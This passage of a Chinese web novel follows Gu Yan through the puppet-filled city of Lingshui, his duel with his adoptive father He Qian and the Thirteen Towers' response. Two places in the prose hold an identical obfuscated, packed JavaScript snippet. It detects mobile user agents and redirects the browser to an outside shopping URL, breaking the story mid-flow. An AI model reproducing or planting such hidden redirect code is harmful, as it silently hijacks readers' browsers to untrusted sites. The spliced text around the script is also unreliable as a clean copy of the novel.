他恍然想起曾途经乌镇时,那方傍晚的镇口,摇曳的红灯笼,像是恶兽的瞳仁。那时的霍姑娘,惊了梦。 顾衍轻身一跃,落进府衙后院之中。 府衙里没有人声,公堂上的桌案积下薄薄一层灰,上面隐约留着五指拖痕。 桌上放着一页状纸,上面写顺应十八年八月初七,民李酉杀生父案,李酉家中残杀生父,无缘由,认罪后当堂撞柱而亡,偿命。 应当是府衙的师爷记下来的,还有认罪人的红印。 这方也没有一个人。 再跃进百姓家中,家中一家人正在熟睡着带着极轻的呼吸声和鼾声。院中安放了许多柴火,还有一片枯死的藤架。 顾衍没有惊动屋中人,悄然走近院中盘睡着的猫狗。 它们……亦化作了腐烂的血肉。 他看着血色的蝶,自它们身体里破茧而出。 等日头高挂时,城中喧嚣渐起,荒凉的街道上有人推开窗,有人支起各式各样的摊子。 小孩子在街中跑动叫喊着,伴着点被撞到的人一阵骂声。还有方才那酒家已然开了张,在门口放上一坛子今日的酒放下几个酒碗。 卖菜卖吃食的小贩开始了吆喝,只在这一瞬间,就变成了喧嚣的人间。 64.陵水城 不对…… 整座陵水城中都不对劲。 明明……是一座死城。 长生教又是如何控制住陵水?又如何会在近日杀他亲信? 顾衍隐在阴影之中,悄然跃过喧嚣的街道。他钳制住一个老者,老者缓缓转过头来朝他笑,随后脖颈一歪发出“咔嚓”一声,便没了生息。 这般情形像极了那日的人。 他的手松开,老者跌落在地上,不消片刻就有许多血色的蝴蝶飞来,落在他身上。 长长的喙刺破他的皮肤,吸食着新鲜的血肉。 顾衍点燃了一簇火焰,放在老者衣物上,很快火就燃起来,连带着上面停留的血蝶都点燃。 陵水这些百姓,竟都已被制成蛊人了吗? 那些活物身体里早已腐朽的血肉滋养着这些血色的蝶,以血肉祭之,供血蝶生存。 顾衍渐渐明白过来,当初长生教说是抓二十岁内的少年人服食长生药豢养起来供奉活神像只是一个幌子。 所谓活神像,应当只是操控这些血蝶的母蛊。 那母蛊,又到底在何人体内? 按说月长老已死,毒蛊可解,可又为何会在陵水? 莫非…… 蓦地,顾衍想起府衙里公堂上摆着的那张状纸,顺应十八年,如今已是顺应二十年。 那张状纸所写,是两年前的命案。 府衙的桌案上,还积了灰。 又是两年前。 两年前…… 绣春刀轻碰在地面,顾衍看着亮色的火焰将血蝶蚕食殆尽。 那一年,喷溅而出的鲜血染红了贺府正堂,从堂内蜿蜒着淌出来,淌到门口被门槛拦住,积起一滩暗色的血水。 自那之后,他的刀便再也没有洗干净过。 那日他亲手割下贺乾的首级。 暗色的鲜血滴了一路。 顾衍缓缓站起身,他要寻伍行。 伍行还在这座死城当中。 陵水太过蹊跷,顾衍不敢光明正大在街道上穿行,只能隐在暗处。 他用黑布将绣春刀包好绑在背上。 绣春刀黑底嵌金,扎眼得很。 顾衍寻到一处荒废无人的小院里,才靠着木柱坐下来。 小院里只有一座残破木屋,残垣断壁里顾衍抱着刀闭目小憩。天光从屋顶上漏进来,便成了这木屋里唯一的亮处。 不知过了多久,顾衍突然睁开眼,绣春刀骤然出鞘,瞬时击落袭来的长剑。他握住刀柄,一个旋身重击在来人剑吞,生生将那柄剑打入地底。 他刀刃架在来人脖颈,星目锐利:“何人?” “十三楼,霍七。” 霍七睨了他一眼:“顾大人的刀,可能收了?” 顾衍将刀下压,星目中看不出情绪,许久才笑道:“如何证明?” 眼瞧着绣春刀在自己脖颈上压出一道血痕,霍七也不急,施施然自袖中摸索出自己的青狼印信。 十三楼印信较为特殊,以青玉制,错金镂刻狼头,一人一印信,记录在案。 顾衍手上刀微松,但仍是不放。 如今这陵水之中,他能信的便只有自己。 霍七见他如此,只得开口:“十三楼七堂堂主。” “兰楼主召十三楼各路往青州时是我带的七堂众人,顾大人同莫天俞打时我就在上边,顾大人血肉之躯强接小天魁铁鞭我倒也没忘。” “十三楼遍布大煜,昨日里才在陵水外捡到顾大人家亲信。”霍七往后退开一步躲开顾衍的刀锋,他摩挲着自己的刀柄缓缓道:“我让他们避开官道自陵水近郊的山中往十三楼最近一处据点。” “顾大人那亲信倒是有点能耐。只是如今他行踪已暴露,你恐怕会被围困陵水城。” 霍七说着,索性坐下来取了一块帕子擦干净自己的剑,这剑是当年升任堂主时,霍楼主予他的。 此剑以玄铁制,出自锻剑老前辈欧阳锋之手,他宝贝得很。 顾衍扫了一眼霍七,追问道:“十三楼遍布大煜,这陵水又为何无人?” 霍七面色一沉,擦剑的动作缓下去:“我也是近日才知十三楼在陵水的据点换了人,便前往陵水探查。” “陵水之中的据点归我管,是我第七堂的人。我早一步将陵水有异一事上报玉楼春便过来了。随后在郊外捡到你那亲信。” “你那亲信,是叫宋无忧吧。他倒是条汉子,拖着重伤跑出老远。” 见顾衍欲开口,霍七睨他一眼:“他死不了。从近郊山中走,至多两日就能找到十三楼据点,只是这个据点只管消息,遂常驻的便只有那么两三人。他能救,但我们没有任何援兵。” “顾大人,隐在暗处走,可不太高明。能骗过死人,骗不过活人。” 霍七将手中的剑收好,曲腿靠在柱子上坐着,他最擅追踪匿迹,否则也寻不到此处。 他本只是在蹲了几日,知晓顾衍隐匿在城中,今日才抓到他的踪迹。 可整座陵水城,除了他们,其余的,早就是死人了。 匪患?郊外突起的匪患,不过是障眼法。 顾衍歇下来,如今在城中几日都并未找到伍行行踪,也不知他躲在哪里。 他应当想方设法留下了些踪迹,只是他未曾觉察。 青青的人既擅追踪,不如借来一用。 “你可否,帮我找另一个亲信?” 霍七叹出一口气:“我寻你时确发现有另一人踪迹。” 顾衍微微直起身,他为何没发现? “只是他留下的印记已经模糊,我辨不清那是什么。只怕他如今,不太妙。” “那你为何,不让宋无忧往白沙关去?那边霍清风若是拿到消息,来得不是更快吗?” “滏南关……”霍七眼中微寒:“若是消息能送到滏南关我也不会近日才知晓陵水据点的人被换。” “恐怕他们已拦截了京都往滏南关的消息,消息递不出去,就只能折返。” “消息进不来也出不去。你我便只能等着我家楼主前来。” “十三楼那据点的人虽少,但都是好手,顾大人胆子倒是大,一个人来也不怕死在这里。” 说罢,霍七站起身走到门口:“我还要去寻我的人,若是顺道看到了顾大人的亲信就知会他一声。” 顾衍不置可否,他坐在屋子里,一时便只能等。 霍清风曾从陵水城官道回京都,应当是路过了陵水城,那时,他竟没有发现异样吗? 还是说,那时城中还未变成这般模样? 如今只有他一人,除去每日寻伍行踪迹,不多做其他。若是做得多了,打草惊蛇,恐怕十三楼来也是徒劳。 就这般潜在城中,时日过得快。 顾衍只记得白日寻踪,每到夜里便总想起霍姑娘。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13518058|133106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 十三楼寻常消息会先递到兰浔手中,兰浔会挑出些她不能决断的送到霍姑娘手中。 而这般急的消息,定然是直接递到霍姑娘手里。 也不知……霍姑娘看到会如何。 霍姑娘的性子倔,若是她亲自前来,怕是回去又得好好养上许久。 他该快点带霍姑娘去世外谷。只是两成把握,他怕得很。 若非消息递不去京都,他也不愿找上十三楼让霍姑娘知晓这些。 顾衍睁眼,看着外间落下来的月光,只觉今夜的月光似要朦胧些。 这几日来他都换了落脚处,挑出些不易察觉的地方歇脚。 若非十三楼中那等能人异士,其余人要找到他是难如登天。 更何况,陵水城中无活人,更多的,是空洞的傀儡。 一声炸响忽地划破寂静,将朦胧的月光都炸开几分。 城中乱起来,喧嚣声顿起,夹杂着兵戈相撞之声。 顾衍快步行到院中,见一方起了通天火光,他眸中一冷,旋即朝着那方火光而去。 定然是伍行的火药。 顾衍疾行在屋顶,踏过屋脊砖瓦朝那方奔袭。 只少顷,那一片火焰就蔓延开来,映红了半边天。 伍行在给他引路,他应当已知晓他在城中。恐怕是已被逼至绝境,才会这般放手一搏。 漫天的火光里,陵水的人换上一袭红衣,血色的蝶伴着火光漫天飞舞。血肉荼靡之中,无数的血蝶飞往一处,带起一线血色绸缎。 有一人手握双尖长棍跟伍行打在一处。 看那身形,似是一个女子。她戴着鬼面獠牙,将脸遮得严严实实。 伍行被她打得节节败退,那双尖长棍洞穿了伍行的腰腹。 伍行疾退间,横刀前挡。 那女子将他打落在地,伍行见状不好就地几滚躲开凌厉的长棍。几番下来,伍行已力竭,他拽住长棍尖端,堪堪避开要害处。 长棍复又抬起,却被斜里刺来的绣春刀打开。 戴着面具的女子看了一眼顾衍,毫不恋战疾退开去,很快便淹没在人群里。 顾衍握住伍行的肩将他带起。 伍行昏昏沉沉搭在他肩上开口道:“我来迟了,没救下兄弟们。” 蓦地,他像是想起什么,挣扎起来:“老大,快走!” 他话刚落,就见许多长生教教众自地上爬起来。他们不似守城军那般倒下便四分五裂,而是像傀儡一般朝着他们扑来。 霍七长啸一声,自屋顶上跳下来,踏过这些教众的头稳稳当当落在中间。 他执剑而立,冷笑一声:“杀我十三楼的人,死活不论,都得偿命。” 说罢,便见他取下腰间弓弩,瞬时百发。 月色之下蕴着三分寒芒。 数支短箭甫一没入那些教众的身体,便腐蚀开,将它们化作一滩血水。 前赴后继的傀儡,像是杀不完,同青州学宫那时一般杀得人手软。 候在郊外的死士轻巧潜行在黑夜之中,翻过城墙。 顾衍将伍行安放好,转身便同那些教众厮杀在一处。 不知何时,火光熄了,周遭静下来。 只有一人黑红衣袍,戴着鬼面獠牙,立于寨门之上。他盘坐在那高处,手中长刀凛然。 而他身边,则立着一个人—— 长生教陨长老,陨长楼。 65.赋新生 “许久不见了,顾衍。” 戴着鬼面獠牙的人将刀撑在地上缓缓站起身后单手握住刀柄。 那把刀与顾衍的如出一辙。 顾衍死死盯着那把刀,只觉浑身的血都冷下来。 怎么会……怎么会是他的刀? “两年了啊——”那人叹着,自火光里朝着顾衍走来。 陨长老跟随其后,面色青黑。 那把刀被他拖着,在地上拖出一道深深的痕迹,上面带着深色的洗不净的血迹。 “你……是谁?” 顾衍后退一步,声音嘶哑:“你不是……死了吗?” 两年前,他亲手割下贺乾的首级呈于明顺帝面前,贺乾应当断无生路。 “死?”贺乾取下那青面獠牙的鬼面,咧开嘴笑起来:“一日问新生,三日叩神明。七日长生药,十日不老仙。” “我问啊,我叩啊。 问神啊,叩长生。 我自得新生——” 他的刀锋如虹,划破天际。 顾衍绣春刀出鞘当前一横,堪堪挡住,被击退数步。他又架住贺乾一刀,接得吃力。 贺乾眼眸微眯,居高临下看着他:“没点长进。” “如今,指挥使之位,该还回来了。” “两年前……两年前你是怎么活着的?” 顾衍声音沙哑,手中绣春刀一僵,被贺乾划破手背,血瞬间溢出来,顺着他的手滴落。 “怎么?我的好儿子,是还想杀我一次?”贺乾步步紧逼,他如今也只有三十余岁的年纪,握着刀的手有力且稳。 顾衍一身本事都是他教出来的,顾衍如今到了何种地步,他一试便知。 顾衍乱了心神,一时间被逼得节节败退。 眼看那绣春刀刀势越发凶猛,顾衍躲闪不及,肩胛上生生挨上一刀。 “好儿子,指挥使的好处你也吃了个够本了,再随我一起入得长生教,我扶你称帝如何?” 贺乾将顾衍逼至绝境,霍七被陨长老拦住,竟赶不过来。 顾衍咬牙接住他一记重击,嗤笑道:“义父,你算准了我会愧疚。义父果真是纵横朝堂数载的朝臣啊。” “可惜,你不是也教我,朝堂之上无亲朋,指挥使的位置我吃下去你还指望我吐出来不成?” 贺乾一愣,大笑道:“不愧是我的好儿子啊。” 说话间,他刀锋越发凌厉,一刀斩断顾衍退路。 “可惜了……明明是我的好儿子,奈何如此冥顽不化。” 贺乾反手握刀,一脚踏在顾衍胸口碾动着,锋利的绣春刀将顾衍牢牢钉在地面。 他低下头笑着道:“那便去死吧。顾衍,我的好儿子,一个人一旦有了软肋刀就会钝,就像这样……被折断。” 他踏在顾衍的手上,将那把绣春刀夺了。顾衍剧烈地喘息着,却也只能被他狠狠贯在地上。 那柄绣春刀,被贺乾折成两段,踩进泥土里。 “霍家那丫头,听闻有些能耐。” 贺乾似闲话家常一般,握住绣春刀刀柄,又狠狠扎透顾衍的手掌。 他脸上带着叵测的笑意,看着顾衍赤红的眼瞳意味深长道:“待杀了你,我便去会会她。” “霍家,始终学不乖。忠君?手握十万兵权,谈何忠君。不过是蛰伏着,等待时机。” 顾衍的眼前被鲜血染红,只能看到一个模糊的人影。他动了动手指,手掌痛得钻心。 “我儿顾衍,两年前啊……死的不是我,死的也不是安平王遗子。安平王遗子……呵,也是个犟骨头。” 贺乾的声音带着嘲讽:“真正的安平王遗子,早就被我扔去乱葬岗喂了野狗。我本以为,他可以好好做个棋子,可惜了,他也跟你一样不听话。” “好儿子,你同我本该是一路人啊……这般,又是何苦?怎么?你心中还有道义?要不是我,你怎能这么早就出头?要不是我,你早就死了。” “可惜了……可惜了啊……” “不听话的棋子,便只能杀了,以绝后患呐。” “顾衍,你说……我当初是不是不该留你性命?” 他蹲下身,看着地上狼狈的顾衍。 绣春刀的刀锋划过顾衍的脖颈,留下一道长长的血痕。 “你我好歹父子一场,何必打个你死我活呢?” “衍儿,好儿子,你当真不入我长生教?我老了,不想称帝,你若来了,便是帝王,你要什么样的女人没有?亦或者,你若是真的喜欢霍家那丫头,我就把她抓来给你。” “是我待你不够好吗?你为何总喜欢与我作对?” “长生教……制傀儡……” “顾衍,你本是不怕死的兽,如今却也是成了一个被七情六欲牵制住的人。” “这么两年不见,你倒是越发有人的样子了。明知是冲着你来的,你还是来送死。” “终究还是狂妄小儿……” 贺乾叹着,正欲起身,突见一轮白光。 顾衍不知何时摸到了方才的断刃,握在手中直袭他的脖颈。 贺乾被他削断一缕发,终是叹道:“你我终究不是同路人啊,你杀我师弟,也算得我为他报这个仇了。” “我那傻师弟,当年可谓是情同手足。可惜了……我那师父也是个犟种,说什么不求,说什么清心寡欲,迟迟不肯教我禁术。我杀他只为拿术法罢了。” “师弟,歇着吧,他们……都会死在这里。” 傀儡陨长楼闻言便退回,霍七不知去了何处。 贺乾冷哼一声:“将死之人。” 近处又燃起烈烈火光,火势蔓延极快,很快便将这边点燃。整个陵水城都淹没在火海中。 顾衍仰躺在地上,费力地喘息着。 他的眼里,满是腾起的火焰,铺天盖地朝他袭来。 那些翩飞的血蝶,慢慢停留在他的身体上,长长的喙扎进他的伤口。 血液一直在流失。 他摸索着握住腰间的玉坠,好不容易等到自己有了那抹月光,好不容易同霍姑娘说他要去霍府提亲。 霍府,霍青青。 他的霍姑娘啊…… 霍姑娘身子弱,还等着他带她去世外谷。 顾衍的手指嵌入泥地里,扣出道道指痕。血蝶的喙刺得他痛起来。 他隐约看着贺乾最后那一道刀光落下来,随后便被斜里打来的两道剑光挡落。 “老大!” 是伍 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“想跑?”贺乾绣春刀一个回转,朝着顾衍和伍行卷来。 霍七蛇鞭灵巧,搅住他的刀刃往上一提。 贺乾手腕一转,蛇鞭牢牢缠上他的刀刃将霍七拉进。 只这么点时候,伍行背着顾衍已走出很远。 霍七挑眉,弃鞭握剑,一个腾跃“铛铛”两声又打在贺乾刀上。 只这一瞬间,身后忽然炸响。 两边燃烧的屋子骤然坍塌,霍七贺乾瞬间各退十余步,霍七正欲追去,却被身后一人勾住衣摆绊了一下。 他回头一看,竟是陨长楼那只傀儡甲臂。 “阴魂不散。”霍七咒骂一句,挥剑将那傀儡甲臂斩断。 也是此刻,几方地面塌陷,他顷刻便被吞噬。 …… 贺乾一路追至城门口,见伍行背着顾衍走得艰难,便吹出一个奇异的哨音。 那铺天盖地的血蝶跟着一人前来。 那人鬼面遮了半边,下半张脸上是纵横交错的伤痕。 “这两人,便交给你了。你知道该怎么做。” 来人点点头,握着双尖长棍朝着顾衍二人追去。 伍行背着顾衍一路朝城外跑,鲜血滴了一路。他一手捂住腹部的伤一手将顾衍扶稳。 “破月。老大,破月是不是在附近?” “破月——”伍行提气高喝一声,随后便将顾衍放下,转身正面迎上来人的双尖长棍。 他疾退开,又握紧剑迎上。 有温热的血落在顾衍身上,很烫。 顾衍费力地睁开眼,入眼便是那双尖长棍扎透了伍行的胸口。 伍行落在他身前,强撑着一口气从地上又爬起来,黑色的骏马从林子里窜过来,伍行握住它的缰绳将它拉低些。 “破月,就这一次,听我的话。” “带着老大,跑。带他回京都,带他去找……霍姑娘。” 他一剑抽上破月的背:“破月,跑!” 那飘散的火光里,夹杂着零散的,春日新生的叶片,它们刚生出来,便落下了。 66.风与歌 “呼——” 陵水城的废墟里探出一只手,随后挣扎着从废墟里爬起。 霍七抖落一身的泥土呼出一口气。 这天杀的长生教。 他啐了一口,蹲下身去徒手挖着泥土,不管不顾地一直挖。 也不知挖了多久,他一双手上被残破的木刺砖瓦划得伤痕累累,终于在泥地里看到一抹剑刃的银光。 霍七又挖了几下,才将他的剑抽出来。 他小心翼翼地拂去剑身的泥土,见剑身完好才松了一口气跌坐在地上。 “吓死老子了。” 他将剑包好抱在怀里站起身,踏过陵水城的一片狼藉。 萧瑟的春风里,他一袭残破青衣跟这一地的狼藉倒是呼应起来。 霍楼主总爱穿一袭青色衣裙,时日一长,他也穿上那身飘扬着的青衣。 十三楼第七堂,霍七,号七杀。所领第七堂接些杀人买卖,他同霍十一一样,为霍楼主直属。 他遇上楼主时,也是这般春日,那时他还是个江湖草莽。彼时年少轻狂又气盛,只是放眼世间无亲朋,便索性落草为寇,带人行着自己心中那等劫富济贫的侠义之事。 人人说侠之一字谁人都担得,可许多人都不知,霍楼主才是所谓的侠。 这柄剑,是他自己挣来的。 霍楼主曾说,他若是做到堂主,这把剑就归他了。 欧阳锋的剑,世间难得。 可楼主说,宝剑当赠落拓侠者。 他便努力往上爬,从无名之辈做到十三楼北斗七杀,再变成七堂堂主。 他拿到这柄剑时,霍楼主跟他说这把剑此后就有主了。 楼主很少赠这些特殊的物件,除去兰浔的紫绫常年是楼主给她置办,其余的便只赠过霍十一和雁将离。 这剑,他宝贝得很。 往日里一天得擦三遍。 十三楼的人都心照不宣,都知道他们在追逐着楼主的步伐。 立十三楼为了什么? 许许多多人初时都在问,十三楼存在的意义。 他们都曾迷茫过。 但到后面,都挺起胸膛,去追寻着十三楼里永远行在前面的青色身影。 他得去一趟京都,去寻楼主亲自上报陵水一事。 只是不知那顾衍活着没有,若是他死了,楼主当如何? 霍七抱着刀翻上陵水城残破的城墙,他遥遥便见倾倒着被烧得焦黑的草木。 等他踩过重重枯草,才看到一只手抠着泥土,上面压着一棵枯树。 “啧,费力。”霍七一脚踢在树干上,树干只晃动了一下。 无奈之下他只得放下剑,用了大力才把树干推走。 他拽着伍行的后领将他拽出来,伸手探探鼻息,从怀里摸出一个白玉小瓶子倒出来一丸药直接扔进伍行口中。 “小子,你费我一颗楼主给的救命药,我迟早要从你家那顾大人手里抢回来。抢了楼主还费我的药,遇上你们算我霍七运道不好。” “若非还要你去找那顾衍,死了就死了,你们这些人可真麻烦。” 霍七一边骂一边把人拖在身后,如今这般也不知顾衍死没死。 他们倒是都想楼主就能少操心些,奈何楼主心善总易操劳。 雁将离那厮不算,他犯不着楼主操心,楼主要是有个三长两短,他跟霍十一怕是先疯后殉。 嗯,他也是不用楼主操心的,跟霍十一和雁将离是同类人。 不对,他寻思错了,楼主怎么会有三长两短? 楼主会长命百岁。 霍七将伍行拖出老远,找了个空地才脱力坐下来。他盘算着,从陵水到京都,少说也要赶半个月的路。 怕是只能先前往最近的十三楼据点修整。这人纵然有楼主的保命药护住心脉,太晚了怕是也保不住性命。 思及此,霍七爬起来,轻踹了地上的伍行一脚:“醒醒。” 伍行觉得自己快死了,随后被人扯了领子拉出来。 “醒了?”霍七扣住自己的剑,站起身扶着脖子道:“没死就成,快些去十三楼据点,十三楼据点离这里只有两日的脚程。你最好……别拖我后腿,我赶着去京都找楼主。至多把你扔到十三楼据点,活不活的我就没法了。” 说罢,他一手抓住伍行后领,携剑轻身,飘然跃入郊外林间。 …… 待霍七拖着人寻至十三楼据点,只觉四肢冰凉。 据点之中一片狼藉,残肢碎肉铺了一地,辨不清是不是十三楼的人。 他扔了伍行蹲下身来,捻起地上还新鲜的血肉,眸中森冷。 守在这个据点的,虽不是什么武功高强之人,但也没这么好对付。宋无忧前来时,这里的人应当是还在的。 如今据点里,东西被焚了个干净,他一时也找不到任何线索。 十三楼……已经许久没折损过这般多的人了。哪怕青州围剿长生教,也未像这次一般。 伍行此时稍缓过来,神色复杂:“是不是……连累霍姑娘了。” 霍七站起身就往外走,他的声音带着戾气:“长生教没打算放过十三楼,他们……怕是打算将顾衍和十三楼一并拔除。” “上次青州是如此,这次又是如此。” “一群见不得光的老鼠。” 霍七手中的剑微横过来,他看着雪亮剑刃上映出的自己的脸。这张脸脸侧斜亘着一道深色的伤痕,尽是暴戾。 他看了许久,直瞧到剑吞上纂刻着一个青狼头,才慢慢平静下来。 “无论如何,我会守在楼主身边。” “霍姑娘于你们都有恩吗?”伍行想不明白,为什么十三楼的人都会为霍姑娘冲锋陷阵不惜一切。 他同顾衍宋无忧,算得是同生共死的生死之交,他才觉得能为兄弟死没什么。 若只是死士,那为何会有如此重的感情。 他算是瞧出来了,霍姑娘于他们,更像是神明。 哪怕碰不到衣角,也会守住自己心中那片净土。 霍七难得睨了他一眼,嗤笑一声:“用恩来衡量,掉价。” “你倒是不怕顾衍死了。” 伍行闻言转着匕首道:“我相信破月,更何况,霍姑娘还在京都等他,他不会死。” “多说无益。我还得回京找楼主。我拖你到此,已是仁至义尽,能不能活着,就看你造化了。要是活着回去了,还记得转告顾衍,他欠楼主一个人情。而你欠她一条命。” 伍行见他离去才恍然发现,他也穿着同霍姑娘一样的青色衣衫。 …… 京都之中,霍青青半阖眼眸坐在院中石凳上。 霍十一和辰砂都没惊扰她。 春日日头好得很,锦屏便也由着她。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13546386|133106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 直至有些窸窸窣窣的声音传过来,霍青青睁开眼便瞧见霍十一一个起落跃出霍府围墙,随后拎着一个人悄无声息地又回来。 他把人扔到她面前,规矩地退到她身后。 地上的人缓了好一会儿才缓过劲儿来。看了看四周才怯怯问道:“这里,可是霍府?” “你是何人?”霍青青想俯下身,却被霍十一抬手拦住。 无奈之下,她笑道:“正是霍府。” “你……你便是霍楼主吗?” 霍青青上下打量着眼前人,听声音看身形是个女子。十三楼里凡是她见过的也都有些印象,倒是没这么一号人。 “你找我何事,慢慢道来。”霍青青摸摸一旁骤雨的头,伸手将她自地上拉起来。 “我……我是从陵水外来的。”她上下打量着霍青青,视线落在她手腕间两个玉镯子上,又见她十七八岁的模样才慢慢放下心来。 “我是十三楼,新收的。叫何桃。”她见霍青青好说话,胆子才大了些:“我从陵水那方来,那方近来闹山匪,城中也被妖人制住。” “我是奉命来给楼主,送这些东西。” 她从怀里掏出一个包得严严实实的扁平木盒呈给霍青青。 霍十一接过来,挑开木盒,才将盒中一叠信件递给霍青青。 霍青青展开来,竟是……通敌罪证…… 她捻开信纸,竟有十余张之多。 上面记着许多宋世荣与南羌往来的东西。 可这些……又是如何落在十三楼手里的? 她细细打量着何桃。 何桃似无所察,张望着看着霍府的院子,眼中带着惊叹。十四五岁的小丫头,许是第一次看到这般好看的院落,一时新奇得很。 霍青青将东西收好,唤来了锦屏,吩咐道:“锦屏,给她备一间屋子暂且住下。再差人去找一趟我爹。” 思量片刻,霍青青添了句:“去把顾大人找来。” 她所说的,自然是在京中扮作顾衍的影。 锦屏会意,领命下去了。 她带着何桃走远,霍青青才问道:“十一,你想问什么?” 霍十一将马蹄糕朝她面前推了推:“没什么,属下只是想问问姑娘饿不饿,若是饿了属下就去一趟厨房给姑娘安排点吃食。” “你总是这般,什么事都憋在心里。”霍青青叹了一句:“你是想问,我为何如今如此不谨慎,为何如此容易轻信别人。” 霍十一不语,只默默点点头。 霍青青取了一块马蹄糕慢慢吃起来,许久才吃完这一碟。 霍十一端来温水供她净手,看着她细细将手擦干净。 随后那桃花眼中带着笑意看向他道:“那时候总觉得人心险恶,如今却觉得,是那时的我还不够强。” “嗯,都听姑娘的。”霍十一罕见地勾起一点唇角。 “只是不知,如今陵水是何模样。”霍青青用手梳理着疾风骤雨的背羽:“方才何桃说,山匪和妖人,可十三楼在陵水的据点并无异常,也并未传讯。十一,你且叫兰浔留意一下从滏南关、白沙关到京都的所有消息。” “还有途中十三楼所有据点传出的消息,辨别真伪后整合好送至霍府。” “再是……” 霍青青看了方才何桃离去的那方一眼,转过头来慢慢道:“在确认这些东西真假之前,看好她。” 67.当如此 顾衍再回京都,已是一月后。 初时杨柳新发,此时已满城烟绿。 顾衍回京后便径直赶往镇抚司,据宋无忧说,他一会来就将积压的公务清理干净,随后便回了顾府。 霍青青指尖点在桌面,发出极轻的声响听着宋无忧报着顾衍行踪。 宋无忧就比顾衍先回来十余日。是十三楼中人将他带回来的,十三楼离陵水最近的据点里守着的是六堂中人,六堂中人轻功极好,楼中较为重要的青封情报便是他们传递。 这个据点位于距陵水两日路程的官驿后面,按说不易被发现。 可那日确是受了伤。 能伤到六堂中人实力不可小觑。 再说宋无忧,那日便报陵水城中有长生教,可驻守在陵水之外的霍清风没有半点消息。 消息怕是……被长生教拦截了。 长生教余孽…… 霍青青抬起手触碰着腕间的玉镯,听着玉镯发出好听的声响才觉着心中好受了些。 这几日也不知为何,总是心神不宁。 霍青青起身叫住宋无忧,笑道:“你家顾大人,为何没来霍府?” 宋无忧一时犯了难:“许是这几日公务堆太多,加之有伤在身,不好那般邋遢来见霍姑娘。” 霍青青点点头:“那你回去后且告知他,就说我三日后要离京解毒。” “成,我记着。霍姑娘要是还有什么事,就差人来镇抚司找我便可。”宋无忧拱手一礼。 如今自家顾大人没有空闲,他当照顾着霍姑娘些。 …… 京都的春日最是好看,京郊桃树一路,自山寺里绵延到山脚下,这四月天里花开正好。 霍青青乘轿而上,软轿垫得厚实引人困倦,她便斜靠在软轿中小憩。 过了约摸一刻钟,便听见霍十一清清冷冷的声音自轿外传来:“姑娘,到了。” “辛苦了。”霍青青应了一声,撩开帘子提着裙摆轻巧跃下。 霍十一默然收回手亦步亦趋跟在她身后。 寺庙门口洒扫的沙弥见有人来,停了手中的扫帚作揖:“霍施主,请。” “你认得我?”霍青青惊诧,这山寺她还是小时来过,如今已过十余年了。 沙弥笑而不语,走在前面给霍青青引路。 他带着霍青青一路前往正殿,待霍青青拜过,又将她迎到住持院。 “霍施主,请随意坐。小僧去告知住持。” 霍青青点头笑道:“有劳了。” 小沙弥走后,霍十一俯身轻声道:“姑娘,许久不来,这院子真是一点没变。” 霍青青转着腕间的玉镯子,眼眸微眯:“是啊,十多年了。” “十一,你可记得那一年你才进霍府。” “记得的,那一年的霍姑娘还是六岁的模样,总有人夸姑娘可爱,说长大了一定不差。” 霍十一慢慢说着,脑子里便也想起许多往事。 他是同逃荒的邻里到京都的,那时锦阳城里流民四起。他那时候也就十岁的年纪,本就无父无母靠着吃百家饭长大,又逢闹饥荒。 那时大煜也穷,拨不出钱款救灾。 许多人就都跑了,往京都跑。 那时候路上,叔叔婶婶都说到京都就好了,京都能让他们吃饱饭。 可……那时候谁都抱着自己的粮食不撒手,又哪里会有多余的分给他们? 他们逃了一路,一路上吃过草根树皮,啃过野兔野鼠,最难过的时候就只有那么点清水喝喝。 他总觉得自己快撑不住了,蜷缩在破败小庙的角落里。 叔叔婶婶也都不在了,路上,有人发了疯一般,逮着人便咬。他们说,他是饿出癔症了。 他也被抛下了。 好多人,都虎视眈眈,看着他,等他死了好吃他的肉撑到京都谋生。 他也觉得,要不就死了吧。 百家饭,还他们就是了。 他已经没力气了,在最后那段时光里,他恍惚看见一角青色的裙摆。 干干净净的,像是春日里生机勃勃的烟柳。 青色的裙摆落在地上,沾了灰尘,一只白皙纤瘦的手递来一个面饼,手腕上还有两个小巧的玉镯。 她说人人都有份,这些饼子顶饿。 饿极了的人,来不及思考就狼吞虎咽将饼吃干净。 那时候,很多人盯着她看,都被她带着的侍卫吓退。 后来,很多人叫她活菩萨,说霍姑娘菩萨心肠。那一年的饥荒,霍家出力最多,钱粮都出,许多高门见霍家如此,便也跟着出力,给自己搏了个好名声。 她将他们带到京都,叫人挨着登记上他们的名姓。 登记之时到了他,他一时说不出自己姓甚名谁。 因为,那时候邻里都叫他小子。他没有自己的名字,没有自己的姓氏。 姑娘上上下下看着他,先夸他说长得好看,然后眯起眼笑:“没有名姓的话,你就跟我姓吧。我姓霍,爹娘起名叫青青,青青草的青青。” “我家里好多好多人,你若来了,我数数……该排到十一了。” “霍十一。” 那时候的姑娘扒拉着指头数数,可爱极了。 “霍十一,那我就叫霍十一。” 那时候的他就叫霍十一了。 霍十一,十岁才开始习武,十二岁初有成效,自己进了霍家死士营。他出来时,姑娘已经被送到南方庄子上,他才慢慢找过去。 随后便随着姑娘浪迹江湖。 霍姑娘啊,彼时少年热血,仗义着呢。走一路,便行一路的侠义之事。 后来与志同道合的好友立十三楼,那时候的少年人,都说要为生民立命。 